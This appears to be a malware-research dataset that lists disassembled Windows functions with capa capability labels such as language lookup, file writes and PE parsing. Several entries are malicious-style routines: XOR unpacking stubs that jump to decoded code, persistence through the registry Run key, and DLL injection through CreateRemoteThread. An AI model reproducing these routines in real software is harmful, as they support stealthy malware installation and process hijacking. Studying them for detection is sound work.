joyce8/EMBER2024-capa huggingface dataset:
Function at 0x8771f8
Capabilities:
Identify system language via api

Disassembly:
push 0x2c
mov eax, 0x88608c
call fcn.008739dd
lea ecx, [ebp - 0x34]
call fcn.00876c55
and dword [ebp - 4], 0
lea eax, [ebp - 0x34]
push eax
push 0
call fcn.0087758b
test eax, eax
jl 0x87722c
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.008772a7
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx esi, ax
mov eax, 0x409
mov edi, 0x877298
cmp ax, si
jne 0x87e4b4
and esi, 0x3ff
push esi
push edi
lea eax, [ebp - 0x30]
push 8
push eax
call fcn.00871451
add esp, 0x10
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x30]
push eax
call fcn.0087758b
mov esi, eax
test esi, esi
jl 0x877280
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x34]
push eax
call fcn.008772a7
mov esi, eax
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x34]
lea ecx, [ebp - 0x34]
call fcn.0087760b
mov eax, esi
call fcn.00872b9f
ret

Function at 0x87791d
Capabilities:
Identify system language via api

Disassembly:
lea eax, [ebp - 0x30]
push eax
call esi
push 8
pop eax
push dword [ebp + 0x10]
mov word [ebp - 0x30], ax
call dword [sym.imp.OLEAUT32.dll_SysReAllocString]
mov dword [ebp - 0x28], eax
cmp eax, ebx
je 0x87dc4f
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 0x82
lea edx, [ebp - 0x30]
push edx
push 0x877900
push eax
call dword [ecx + 0x10]
mov esi, eax
lea eax, [ebp - 0x30]
push eax
call edi
cmp esi, ebx
jl 0x8779a8
push 1
lea ecx, [ebp - 0x20]
call fcn.008779e3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ebx
lea edx, [ebp - 0x20]
push edx
push 0x8778ec
push eax
call dword [ecx + 0x10]
mov esi, eax
lea eax, [ebp - 0x20]
push eax
call edi
push eax
call fcn.008771e0
cmp esi, ebx
jl 0x8779a8
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
push 3
movzx eax, ax
pop ecx
mov word [ebp - 0x20], cx
mov dword [ebp - 0x18], eax
jmp 0x877992
push 0x24
mov eax, 0x885c85
call fcn.008726dd
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
lea eax, [ebp - 0x20]
push eax
call esi
xor ebx, ebx
mov dword [ebp - 4], ebx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10]
push edx
push eax
mov dword [ebp - 0x10], ebx
call dword [ecx + 0xc]
mov eax, dword [ebp - 0x10]
mov dword [ebp + 8], eax
mov byte [ebp - 4], 1
mov edi, dword [sym.imp.OLEAUT32.dll_VariantCopy]
cmp dword [ebp + 0xc], ebx
je 0x877854
push 1
lea ecx, [ebp - 0x20]
call fcn.008779e3
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push ebx
lea edx, [ebp - 0x20]
push edx
push 0x873984
push eax
call dword [ecx + 0x10]
cmp eax, ebx
jl 0x8779a6
push 3
pop eax
mov word [ebp - 0x20], ax
mov dword [ebp - 0x18], 0x409
mov eax, dword [ebp - 0x10]
mov ecx, dword [eax]
push 1
lea edx, [ebp - 0x20]
push edx
push 0x8779d0
push eax
call dword [ecx + 0x10]
mov esi, eax
mov byte [ebp - 4], bl
lea ecx, [ebp + 8]
call fcn.00877455
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x20]
push eax
call edi
push eax
call fcn.008771e0
mov eax, esi
call fcn.00871390
ret 0xc
Function at 0x877b05
Capabilities:
Identify system language via api

Disassembly:
push 0x50
mov eax, 0x885fc0
call fcn.008739dd
mov ecx, dword [ebp + 0xc]
mov eax, dword [ebp + 8]
xor esi, esi
push esi
mov dword [ebp - 0x5c], ecx
push eax
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x54], esi
call fcn.00877c2b
mov dword [ebp - 4], esi
mov eax, dword [ebp - 0x58]
mov ebx, eax
lea ecx, [eax + 2]
mov dx, word [eax]
inc eax
inc eax
cmp dx, si
jne 0x877b34
sub eax, ecx
sar eax, 1
mov edi, eax
je 0x877b63
movzx eax, word [ebx + esi*2]
push eax
call dword [sym.imp.msvcrt.dll_iswxdigit]
pop ecx
test eax, eax
je 0x877b5b
inc esi
cmp esi, edi
jb 0x877b46
cmp esi, edi
jb 0x877c0e
xor eax, eax
mov edx, ebx
test edi, edi
jbe 0x877c0e
cmp word [edx], 0x30
jne 0x877b7c
inc eax
inc edx
inc edx
cmp eax, edi
jb 0x877b6f
cmp eax, edi
jae 0x877c0e
mov eax, edx
lea esi, [eax + 2]
mov cx, word [eax]
inc eax
inc eax
test cx, cx
jne 0x877b89
sub eax, esi
sar eax, 1
cmp eax, 3
ja 0x877c0e
push 0x10
push 0
push edx
call dword [sym.imp.msvcrt.dll_wcstoul]
add esp, 0xc
movzx esi, ax
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx eax, ax
mov ecx, eax
and ecx, 0x3ff
cmp cx, si
jne 0x877c03
movzx eax, ax
movzx eax, ax
push eax
push 0x877c18
lea eax, [ebp - 0x50]
push 0x20
push eax
call fcn.00871451
mov ecx, dword [ebp - 0x5c]
add esp, 0x10
lea eax, [ebp - 0x50]
push eax
call fcn.00876c60
or dword [ebp - 4], 0xffffffff
push dword [ebp - 0x58]
lea ecx, [ebp - 0x58]
call fcn.0087760b
mov eax, dword [ebp - 0x54]
call fcn.00872b9f
ret 8
or esi, 0x400
movzx eax, si
jmp 0x877bc6
mov dword [ebp - 0x54], 0x80041001
jmp 0x877be9
Function at 0x877f3e
Capabilities:
Create directory

Disassembly:
push 0x10
mov eax, 0x886a7d
call fcn.00871350
mov dword [ebp - 0x1c], ecx
xor esi, esi
mov ebx, 0x8007000e
mov dword [ebp - 0x14], esi
cmp dword [ebp + 8], esi
je 0x878046
push 1
call fcn.0087227c
mov dword [ebp - 0x18], eax
cmp eax, esi
je 0x87803c
mov dword [ebp - 4], esi
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
call esi
push dword [ebp + 8]
mov edi, eax
call esi
lea esi, [eax + edi + 1]
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.008713e0
pop ecx
mov dword [ebp - 0x14], eax
test eax, eax
je 0x877fcd
push dword [ebp - 0x18]
inc edi
push edi
push eax
call fcn.008721cb
mov ebx, eax
test ebx, ebx
jl 0x878024
push dword [ebp + 8]
push esi
push dword [ebp - 0x14]
call fcn.00872436
mov ebx, eax
test ebx, ebx
jl 0x878024
xor ebx, ebx
inc ebx
test ebx, ebx
jl 0x878024
push 0
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x877ff6
mov esi, dword [sym.imp.KERNEL32.dll_GetLastError]
call esi
cmp eax, 0xb7
jne 0x87f33c
xor ebx, ebx
inc ebx
test ebx, ebx
jl 0x878024
xor ebx, ebx
push ebx
push 0x80
push 2
push ebx
push 1
push 0x40000000
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx + 0x44], eax
cmp eax, 0xffffffff
je 0x87f353
cmp dword [ebp - 0x14], 0
je 0x878033
push dword [ebp - 0x14]
call fcn.008713c0
pop ecx
push dword [ebp - 0x18]
call fcn.008713c0
pop ecx
mov eax, ebx
call fcn.00871390
ret 4
mov ebx, 0x80070057
jmp 0x87803c

Function at 0x8785f1
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
mov eax, dword [0x88b004]
xor eax, ebp
mov dword [ebp - 4], eax
and dword [ebp - 8], 0
push ebx
push esi
push edi
mov edi, ecx
mov eax, dword [edi + 0x44]
test eax, eax
je 0x878684
cmp eax, 0xffffffff
je 0x878684
mov ebx, dword [ebp + 8]
test ebx, ebx
je 0x878684
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
and dword [ebp - 0xc], 0
push ebx
call esi
push ebx
mov dword [ebp - 0x10], eax
call esi
lea esi, [eax + eax + 2]
mov eax, esi
call fcn.008785b5
mov eax, esp
push esi
push ebx
push eax
call fcn.00878692
mov esi, dword [ebp - 0x10]
mov edi, dword [edi + 0x44]
push 0
lea ecx, [ebp - 0xc]
push ecx
push esi
push eax
push edi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x87f2da
cmp esi, dword [ebp - 0xc]
jne 0x87f2f6
mov eax, dword [ebp - 8]
lea esp, [ebp - 0x1c]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.008720d4
leave
ret 4
mov dword [ebp - 8], 0x80070057
jmp 0x87866d
Function at 0x8788ef
Capabilities:
Get geographical location

Disassembly:
push 0x210
mov eax, 0x886be9
call fcn.008720e6
xor eax, eax
push 0x1fe
mov word [ebp - 0x214], ax
xor ebx, ebx
lea eax, [ebp - 0x212]
push ebx
push eax
call sub.msvcrt.dll_memset
mov esi, dword [ebp + 8]
add esp, 0xc
push 0x100
lea eax, [ebp - 0x214]
push eax
push 0x1001
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
lea eax, [ebp - 0x214]
and esi, 0x3ff
push eax
mov dword [ebp - 0x21c], esi
mov dword [ebp - 0x218], ebx
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, 7
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.008713e0
mov edi, eax
pop ecx
cmp edi, ebx
je 0x878999
lea eax, [ebp - 0x214]
push eax
push dword [ebp - 0x21c]
push 0x8789a4
push esi
push edi
call fcn.00871451
add esp, 0x14
mov eax, edi
call fcn.00872126
ret 4
Function at 0x8793ba
Capabilities:
Delete registry value

Disassembly:
push 0x2c
mov eax, 0x8864bd
call fcn.00871350
xor ebx, ebx
mov dword [ebp - 0x14], 0x8007000e
cmp dword [ebp + 8], ebx
je 0x87ecc6
mov eax, 0x8717f4
mov dword [ebp - 0x18], ebx
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], ebx
mov dword [ebp - 0x2c], eax
push dword [0x88b514]
mov esi, dword [sym.imp.KERNEL32.dll_OpenEventW]
push ebx
push 2
mov byte [ebp - 4], 1
call esi
push dword [0x88b518]
mov dword [ebp - 0x20], eax
push ebx
push 0x100000
call esi
mov dword [ebp - 0x28], eax
cmp dword [ebp - 0x20], ebx
je 0x879432
cmp eax, ebx
je 0x879432
push dword [ebp - 0x20]
xor esi, esi
inc esi
mov dword [ebp - 0x18], esi
call dword [sym.imp.KERNEL32.dll_SetEvent]
cmp eax, esi
jne 0x87970b
cmp dword [ebp + 0xc], ebx
je 0x87969e
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x34], ebx
mov dword [ebp - 0x30], ebx
push ebx
push 0x10002
push dword [0x88b51c]
lea ecx, [ebp - 0x38]
push 0x80000002
mov byte [ebp - 4], 2
call fcn.00872097
test eax, eax
jne 0x87948e
mov edi, dword [ebp - 0x38]
mov esi, dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push 0x8795b4
push edi
call esi
push 0x87959c
push edi
call esi
push 0x879580
push edi
call esi
push 0x87956c
push edi
call esi
lea ecx, [ebp - 0x38]
call fcn.00871f10
push 1
call fcn.0087227c
mov dword [ebp + 0xc], eax
cmp eax, ebx
je 0x879516
mov esi, dword [sym.imp.KERNEL32.dll_lstrlenW]
push eax
mov byte [ebp - 4], 3
call esi
push dword [ebp + 8]
mov edi, eax
call esi
lea esi, [edi + eax + 8]
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.008713e0
mov edi, eax
pop ecx
cmp edi, ebx
je 0x87950d
push dword [ebp + 8]
push dword [ebp + 0xc]
push 0x879554
push esi
push edi
call fcn.00871451
add esp, 0x14
push 1
push edi
call dword [0x871330]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x87ecd2
cmp edi, ebx
je 0x87950d
push edi
call fcn.008713c0
pop ecx
push dword [ebp + 0xc]
call fcn.008713c0
pop ecx
lea ecx, [ebp - 0x38]
call fcn.00871f10
cmp dword [ebp - 0x18], ebx
je 0x879539
push 0xbb8
push dword [ebp - 0x28]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
test eax, eax
jne 0x87970b
lea ecx, [ebp - 0x2c]
call fcn.0087187a
lea ecx, [ebp - 0x24]
call fcn.0087187a
mov eax, dword [ebp - 0x14]
call fcn.00871390
ret 8
push dword [ebp + 8]
mov byte [ebp - 4], 5
call dword [sym.imp.KERNEL32.dll_lstrlenW]
mov esi, eax
add esi, 4
xor ecx, ecx
push 2
pop edx
mov eax, esi
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.008713e0
mov edi, eax
pop ecx
cmp edi, ebx
je 0x87951e
push dword [ebp + 8]
push 0x879718
push esi
push edi
call fcn.00871451
add esp, 0x10
push 1
push edi
call dword [0x87132c]
mov dword [ebp - 0x14], eax
cmp eax, ebx
jne 0x87ecf4
cmp edi, ebx
je 0x87951e
push edi
call fcn.008713c0
pop ecx
jmp 0x87951e
mov dword [ebp - 0x14], 0x80004005
jmp 0x879539
Function at 0x880d7d
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
push edi
lea eax, [ecx + eax + 0x18]
test esi, esi
jbe 0x880dba
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x880db2
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x880dbc
inc edx
add eax, 0x28
cmp edx, esi
jb 0x880da2
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x100980
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x1009ad
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x1009ad
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x32020eae
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
pushal
call 0x32020ebd
pop dword [ebp - 0x30]
mov eax, 0x298334a3
add eax, 0x87eda1a
sub dword [ebp - 0x30], eax
mov dword [ebp - 0x40], 0x84109f4f
sub dword [ebp - 0x40], 0x35be5a04
mov dword [ebp - 0x3c], 0x987a2e0b
add dword [ebp - 0x3c], 0x99b91e3a
mov dword [ebp - 0x38], 0x5a40c6ef
sub dword [ebp - 0x38], 0xdf482c1
mov dword [ebp - 0x34], 0x548eb528
add dword [ebp - 0x34], 0xab714ad8
lea eax, [ebp - 0x40]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x30]
call dword [eax]
mov dword [ebp - 0x40], 0xc72c5dc1
sub dword [ebp - 0x40], 0x52b9f46b
mov dword [ebp - 0x3c], 0x72b72121
add dword [ebp - 0x3c], 0xceb54054
mov dword [ebp - 0x38], 0x89f937a5
sub dword [ebp - 0x38], 0x2689cb39
mov dword [ebp - 0x34], 0x8cc5e424
sub dword [ebp - 0x34], 0x8cc5e424
lea ebx, [ebp - 0x40]
push ebx
push eax
mov eax, 0x16079ed0
add eax, 0x1bfdb1a8
add eax, dword [ebp - 0x30]
call dword [eax]
push 0x40
push 0x1000
push 0x47f34
push 0
call eax
mov ecx, 0x48b2
xor edi, edi
add edi, eax
mov edx, 0x52aba7b
sub edx, 0xd322e47b
add edx, dword [ebp - 0x30]
mov esi, 0xbb0acd17
add esi, 0xcf46ca56
add dword [ebp - 0x1c], ebx
mov ebx, dword [edx]
add dword [ebp - 4], 0xc5578630
xor ebx, esi
add dword [ebp - 8], eax
mov dword [edi], ebx
sub dword [ebp - 0x10], esi
add edi, 4
add edx, 4
loop 0x32020fd6
add eax, 0x1159b
mov ebx, eax
add eax, 0x54809465
add eax, 0xab7f6ba0
mov ecx, 0x54e5f37e
sub ecx, 0x22e5f37e
add ecx, dword [ebp - 0x30]
call ebx
leave
ret
Function at 0x430002
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
call 0x43000c
nop
nop
pop eax
nop
nop
nop
add eax, 0x403d6f
nop
nop
sub eax, 0x403d15
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
xor dword [ebx], edx
nop
nop
nop
add ebx, 4
nop
nop
nop
nop
nop
nop
nop
cmp ebx, ecx
nop
jl 0x430030
nop
nop
nop
nop
add eax, 0xc
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
nop
nop
nop
jne 0x43001e
popal
nop
nop
nop
nop
nop
jmp loc.00401219
Function at 0x70a412f3
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x48
lea eax, [ebp - 0x2c]
mov dword [esp], eax
call sym._GetSystemInfo_4
sub esp, 4
mov eax, dword [ebp - 0x14]
cmp eax, 0x182
je 0x70a41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x1e6
je 0x70a41325
mov eax, dword [ebp - 0x14]
cmp eax, 0x24a
jne 0x70a4132c
mov eax, 1
jmp 0x70a41331
mov eax, 0
leave
ret

Function at 0x70a41333
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x138
mov dword [esp + 8], 0x104
lea eax, [ebp - 0x110]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0xc]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], 0xf003f
mov dword [esp + 8], 0
mov dword [esp + 4], str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegOpenKeyExA_20
sub esp, 0x14
lea eax, [ebp - 0x110]
mov dword [esp], eax
call sym._strlen
lea edx, [eax + 1]
mov eax, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x110]
mov dword [esp + 0x10], edx
mov dword [esp + 0xc], 1
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x70a4144b
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret
Function at 0x70a41544
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
mov dword [esp + 8], 2
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._ftell
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [esp + 4], eax
mov dword [esp], str.File_size_is__d_n
call sym._printf
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._malloc
mov dword [ebp + 0xc], eax
cmp dword [ebp + 0xc], 0
jne 0x70a415b2
mov dword [esp], str.Malloc_failed_
call sym._puts
mov dword [esp], 1
call sym._exit
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._fseek
mov eax, dword [ebp - 0xc]
mov edx, dword [ebp + 8]
mov dword [esp + 0xc], edx
mov dword [esp + 8], eax
mov dword [esp + 4], 1
mov eax, dword [ebp + 0xc]
mov dword [esp], eax
call sym._fread
mov eax, dword [ebp - 0xc]
leave
ret

Function at 0x70a41bd0
Capabilities:
Get thread local storage value

Disassembly:
push esi
push ebx
sub esp, 0x14
mov dword [esp], 0x70a4603c
call sym._EnterCriticalSection_4
mov ebx, dword [0x70a46034]
sub esp, 4
test ebx, ebx
je 0x70a41c1b
nop
mov eax, dword [ebx]
mov dword [esp], eax
call sym._TlsGetValue_4
sub esp, 4
mov esi, eax
call sym._GetLastError_0
test eax, eax
jne 0x70a41c14
test esi, esi
je 0x70a41c14
mov eax, dword [ebx + 4]
mov dword [esp], esi
call eax
mov ebx, dword [ebx + 8]
test ebx, ebx
jne 0x70a41bf0
mov dword [esp], 0x70a4603c
call sym._LeaveCriticalSection_4
sub esp, 4
add esp, 0x14
pop ebx
pop esi
ret

Function at 0x70a41e00
Capabilities:
Write file on windows

Disassembly:
push esi
push ebx
sub esp, 0x14
mov eax, dword [sym.imp.msvcrt.dll__iob]
mov dword [esp + 8], 0x17
mov dword [esp + 4], 1
lea esi, [esp + 0x24]
mov dword [esp], 0x70a441c0
lea ebx, [eax + 0x40]
mov dword [esp + 0xc], ebx
call sym._fwrite
mov eax, dword [esp + 0x20]
mov dword [esp + 8], esi
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._vfprintf
call sym._abort
lea esi, [esi]
Function at 0x70a41e50
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
push edi
mov edi, ecx
push esi
push ebx
mov ebx, eax
mov esi, edx
sub esp, 0x4c
lea eax, [esp + 0x24]
mov dword [esp + 8], 0x1c
mov dword [esp], ebx
mov dword [esp + 4], eax
call sym._VirtualQuery_12
sub esp, 0xc
test eax, eax
je 0x70a41f28
mov eax, dword [esp + 0x38]
cmp eax, 0x40
je 0x70a41e8e
cmp eax, 4
jne 0x70a41eb0
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
call sym._memcpy
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov eax, dword [esp + 0x30]
lea ebp, [esp + 0x20]
mov dword [esp + 8], 0x40
mov dword [esp + 0xc], ebp
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
mov edx, dword [esp + 0x38]
mov dword [esp + 8], edi
mov dword [esp + 4], esi
mov dword [esp], ebx
mov dword [esp + 0x1c], edx
call sym._memcpy
mov edx, dword [esp + 0x1c]
cmp edx, 0x40
je 0x70a41e9e
cmp edx, 4
je 0x70a41e9e
mov eax, dword [esp + 0x20]
mov dword [esp + 0xc], ebp
mov dword [esp + 8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 4], eax
mov eax, dword [esp + 0x24]
mov dword [esp], eax
call sym._VirtualProtect_16
sub esp, 0x10
add esp, 0x4c
pop ebx
pop esi
pop edi
pop ebp
ret
mov dword [esp + 8], ebx
mov dword [esp + 4], 0x1c
mov dword [esp], str.__VirtualQuery_failed_for__d_bytes_at_address__p
call fcn.70a41e00
Function at 0x414ac0
Capabilities:
Encode data using xor

Disassembly:
mov cs, esp
nop
mov bh, 0xbe
push eax
das
add dword [eax + 0x47], esi
xchg edi, eax
jmp 0xaaf8bade
fcmovbe st(0), st(5)
push 0x7e
mov cl, byte [esi + ebx*8 - 0x18a27007]
push 0xd28f1e4d
jns 0x414a86
cmc
jge 0x414b46
mov dword [0x9a2b50df], eax
jno 0x414b23
pop esp
outsd dx, dword [esi]
cli
invalid
mov eax, 0xb88f5c8f
invalid
out dx, eax
std
cmpsb byte [esi], byte es:[edi]
mov dword [0x4c8f01c9], eax
iretd
Function at 0x663c1323
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x158
mov dword [ebp - 0xc], 0x104
mov dword [ebp - 0x10], 1
mov eax, dword [ebp - 0xc]
mov dword [esp + 8], eax
lea eax, [ebp - 0x11c]
mov dword [esp + 4], eax
mov dword [esp], 0
call sym._GetModuleFileNameA_12
sub esp, 0xc
lea eax, [ebp - 0x18]
mov dword [esp + 0x20], eax
lea eax, [ebp - 0x14]
mov dword [esp + 0x1c], eax
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0xf003f
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov dword [esp], 0x80000001
call sym._RegCreateKeyExA_36
sub esp, 0x24
mov eax, dword [ebp - 0x14]
mov edx, dword [ebp - 0xc]
mov dword [esp + 0x14], edx
lea edx, [ebp - 0x11c]
mov dword [esp + 0x10], edx
mov edx, dword [ebp - 0x10]
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], str.AutoRun
mov dword [esp], eax
call sym._RegSetValueExA_24
sub esp, 0x18
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._RegCloseKey_4
sub esp, 4
nop
leave
ret

Function at 0x663c1458
Capabilities:
Create thread
Inject thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
mov eax, dword [ebp + 0xc]
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov dword [esp], 0x1f0fff
call sym._OpenProcess_12
sub esp, 0xc
mov dword [ebp - 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 4
mov dword [esp + 0xc], 0x1000
mov dword [esp + 8], eax
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualAllocEx_20
sub esp, 0x14
mov dword [ebp - 0x10], eax
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], eax
mov eax, dword [ebp + 8]
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._WriteProcessMemory_20
sub esp, 0x14
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov eax, dword [ebp - 0x10]
mov dword [esp + 0x10], eax
mov dword [esp + 0xc], sym._LoadLibraryA_4
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CreateRemoteThread_28
sub esp, 0x1c
mov dword [ebp - 0x14], eax
mov dword [esp + 4], 0xffffffff
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._WaitForSingleObject_8
sub esp, 8
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
mov eax, dword [ebp + 8]
mov dword [esp], eax
call sym._strlen
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], eax
mov eax, dword [ebp - 0x10]
mov dword [esp + 4], eax
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._VirtualFreeEx_16
sub esp, 0x10
mov eax, dword [ebp - 0xc]
mov dword [esp], eax
call sym._CloseHandle_4
sub esp, 4
nop
leave
ret